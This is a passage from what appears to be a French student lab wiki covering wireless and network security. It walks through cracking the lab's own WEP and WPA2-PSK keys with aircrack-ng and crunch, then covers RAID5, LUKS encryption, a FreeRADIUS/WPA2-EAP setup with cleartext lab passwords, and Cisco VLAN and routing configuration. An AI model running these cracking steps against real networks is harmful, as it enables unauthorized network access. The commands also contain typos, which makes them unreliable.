'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
